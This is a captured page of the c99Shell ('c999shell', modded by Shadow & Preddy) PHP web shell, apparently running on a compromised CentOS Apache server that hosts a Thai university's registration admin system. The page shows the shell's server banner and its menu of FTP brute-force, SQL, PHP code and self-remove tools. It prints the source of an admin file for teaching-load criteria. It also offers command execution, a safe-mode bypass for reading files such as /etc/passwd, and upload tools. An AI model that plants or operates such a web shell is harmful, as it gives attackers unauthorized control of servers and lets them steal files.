!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis/admin/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addHrPerUnit.php (10.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsOfficer.php";
include_once 
"../class/clsSysSemesterDes.php";
include_once 
"../class/clsAcadYearConfig.php";
include_once 
"../class/clsrg_LoadType.php";
include_once 
"../class/clsrg_CopyTimeTable.php";
include_once 
"../class/clsrg_OFSetTT.php";
include_once 
"../class/clsrg_HrPerUnit.php";

$huTmId = (! isset($_GET['huTmId'])? "" $_GET['huTmId']);
$huAcY = (! isset($_GET['huAcY'])? "" $_GET['huAcY']);
$page_id = (! isset($_GET['page_id'])? "1" $_GET['page_id']);

confirmSubmit();

$conn = new Connection();

$oOf = new Officer();
$oSse = new SysSemesterDes();
$oAy = new AcadYearConfig();
$oLt = new rg_LoadType();
$oCt = new rg_CopyTimeTable();
$oOst = new rg_OFSetTT();
$oHu = new rg_HrPerUnit();

if(!
$huTmId)
    
$huTmId $GLOBALS["SEMESTER"];
if(!
$huAcY)
    
$huAcY $GLOBALS["ACADYEAR"];

$oOf->SearchByOfficerCode($oU->userPsCodeReg);
$oOf->GetRecord();    
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<script>
function checkFormat() {
    f = document.pc;
    if(f.huLtId.value == "") {
        alert("กรุณาเลือกประเภทย่อยการสอน !");
        f.huLtId.focus();
        return false;
    }
    if(f.huHr.value == "") {
        alert("กรุณากรอกจำนวนชั่วโมง !");
        f.huHr.focus();
        return false;
    }
    if(f.huUnit.value == "") {
        alert("กรุณากรอกจำนวนหน่วยภาระงานสอน !");
        f.huUnit.focus();
        return false;
    }
}

function doChange() {
    f = document.pc;
    var huTmId = f.huTmId.value;
    var huAcY = f.huAcY.value;
    
    location.href = "addHrPerUnit.php?huTmId="+huTmId+"&huAcY="+huAcY;
}
</script>
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="adminIndex.php?mm=1">ข้อมูลพื้นฐานของระบบ</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> ข้อมูลเกณฑ์การคิดภาระงานสอน</font></legend>
            <div align="center"><br><table width="700" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
                    <td align="center" colspan="2"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><b>ข้อมูลเกณฑ์การคิดภาระงานสอน</b></font><br><br></td>
                </tr>
                <tr>
                    <td colspan="2"><table width="700" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                        <tr>
                            <td colspan="7" align="center"><form name="pc" method="post" action="processHrPerUnit.php"><table width="500" align="center" border="0" cellpadding="0" cellspacing="1">
                                <tr>
                                    <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ภาค/ปีการศึกษา</b></font></td>
                                    <td colspan="3"><select name="huTmId" onChange="doChange()">
<?php
                                        $oSse
->RSSysSemesterDes();
                                        while(
$oSse->GetRecord()) {
?>
                                        <option value="<?php echo $oSse->semester;?><?php echo ($oSse->semester==$huTmId) ? 'selected' '';?>><?php echo $oSse->semester;?></option>
<?php
                                        
}
?>
                                    </select>
                                    /
                                    <select name="huAcY" onChange="doChange()">
<?php
                                        $oAy
->RSAcadYearConfigGroupAcY();
                                        while(
$oAy->GetRecord()) {
?>
                                        <option value="<?php echo $oAy->acadYear;?><?php echo ($oAy->acadYear==$huAcY) ? 'selected' '';?>><?php echo $oAy->acadYear;?></option>
<?php
                                        
}
?>
                                    </select>
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                                    <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ประเภทย่อยการสอน</b></font></td>
                                    <td colspan="3"><select name="huLtId">
                                        <option value="">---เลือกประเภทย่อยการสอน---</option>
<?php
                                        $oLt
->RSrg_LoadType();
                                        while(
$oLt->GetRecord()) {
?>
                                        <option value="<?php echo $oLt->ltId;?>"><?php echo $oLt->ltName;?></option>
<?php
                                        
}
?>
                                    </select>
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr>
                                    <td width="25%"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>จำนวนชั่วโมง</b></font></td>
                                    <td width="20%"><input type="text" name="huHr" size="1" onKeyPress="if(event.keyCode < 46 || event.keyCode > 57 || event.keyCode == 47) return false;">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                    <td width="40%"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>คิดเป็นจำนวนหน่วยภาระงานสอน</b></font></td>
                                    <td width="15%"><input type="text" name="huUnit" size="1" onKeyPress="if(event.keyCode < 46 || event.keyCode > 57 || event.keyCode == 47) return false;">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                                    <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ค่าโดยปริยาย</b></font></td>
                                    <td colspan="3"><input type="checkbox" name="huDefault" value="Y">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ตั้งเป็นค่าโดยปริยาย</font></td>
                                </tr>
                                <tr>
                                    <td colspan="5" align="center"><br>
<?php
                                    $oCt
->RSrg_CopyTimeTableByAcYAndSeAndConfirmIsY($huAcY$huTmId);
                                    
                                    
$oOst->RSrg_OFSetTTByOfIdAndAcYAndTmIdAndWLIsY($oOf->officerId$huAcY$huTmId);
                                    
                                    
$res = (!$oCt->GetRecord() && $oOst->GetRecord()) ? '' 'disabled';
                                    
                                    
$lnk '<input type="submit" name="add" value="บันทึก" onClick="return checkFormat()" '.$res.'>';
                                    echo 
$oU->CRUD($lnk'C');
?>
                                    <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                                    <input type="hidden" name="method" value="add"></td>
                                </tr>                                
                            </table></form><br><br></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                            <td width="100" height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ภาค/ปีการศึกษา</b></font></td>
                            <td width="250" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ประเภทย่อยการสอน</b></font></td>
                            <td width="80" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>จำนวนชั่วโมง</b></font></td>
                            <td width="90" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>จำนวนหน่วย<br>ภาระงานสอน</b></font></td>
                            <td width="80" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ค่าโดยปริยาย</b></font></td>
                            <td width="50" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>แก้ไข</b></font></td>
                            <td width="50" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ลบ</b></font></td>
                        </tr>
<?php
                        $oHu
->RSrg_HrPerUnitOrderAcYDescTmIdDescSstId();
                        
$numRow $oHu->NumRow();
                        
$page_size 10;
                        
$total_page = (int)($numRow/$page_size);
                        if((
$numRow%$page_size) != 0)
                            
$total_page++;

                        if(isset(
$page_id))
                            
$start $page_size*($page_id-1);
                        else {
                            
$page_id 1;
                            
$start 0;
                        }

                        
$i 0;
                        
$oHu->RSrg_HrPerUnitOrderAcYDescTmIdDescSstIdLimit($start$page_size);
                        while(
$oHu->GetRecord()) {
                            
$oLt->SearchByKey($oHu->huLtId);
                            
$oLt->GetRecord();
                            
                            if((
$i%2) == 0)
                                echo 
"<tr>";
                            else
                                echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>                                                          
                            <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oHu->huTmId.'/'.$oHu->huAcY;?></font></td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oLt->ltName;?></font></td>
                            <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oHu->huHr;?></font></td>
                            <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oHu->huUnit;?></font></td>
                            <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oHu->huDefault;?></font></td>
                            <td align="center">
<?php
                            $lnk 
'<a href="editHrPerUnit.php?huAcY='.$oHu->huAcY.'&amp;huTmId='.$oHu->huTmId.'&amp;huLtId='.$oHu->huLtId.'"><img src="../picture/editnew.gif" width="23" height="19" align="absmiddle" border="0"></a>';
                            echo 
$oU->CRUD($lnk'U');
?>
                            </td>
                            <td align="center">
<?php
                            $oCt
->RSrg_CopyTimeTableByAcYAndSeAndConfirmIsY($oHu->huAcY$oHu->huTmId);
                            
                            
$oOst->RSrg_OFSetTTByOfIdAndAcYAndTmIdAndWLIsY($oOf->officerId$oHu->huAcY$oHu->huTmId);
                            
                            if(!
$oCt->GetRecord() && $oOst->GetRecord()) {
                                
$lnk '<a href="processHrPerUnit.php?huAcY='.$oHu->huAcY.'&amp;huTmId='.$oHu->huTmId.'&amp;huLtId='.$oHu->huLtId.'&amp;method=delete" onClick=\'return confirmSubmit("คุณต้องการลบข้อมูลแน่นอนใช่หรือไม่")\'><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"></a>';
                                echo 
$oU->CRUD($lnk'D');
                            }
                            else
                                echo 
'-';
?>
                            </td>
                        </tr>
<?php
                            $i
++;
                        }
                        
                        if(
$i == 0){
?>
                        <tr>
                            <td colspan="7" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">หน้า-&gt;
<?php
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo 
$num." ";
                        else {
?>
                            <a href="addHrPerUnit.php?page_id=<?php echo $num;?>"><?php echo '[ '.$num.' ]';?></a> 
<?php
                        
}
                    }
?>
                    </font></td>
                    <td align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">รวม <?php echo $numRow;?> รายการ</font></td>
                </tr>
                <tr>
                    <td colspan="2"><input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href = 'adminIndex.php?mm=1'"></td>
                </tr>
            </table></div>
        </fieldset><br><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
    </tr>
</table>
<?php
$oOf
->Destroy();
$oSse->Destroy();
$oAy->Destroy();
$oLt->Destroy();
$oCt->Destroy();
$oOst->Destroy();
$oHu->Destroy();
$conn->Disconnect();
showFooter();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0166 ]--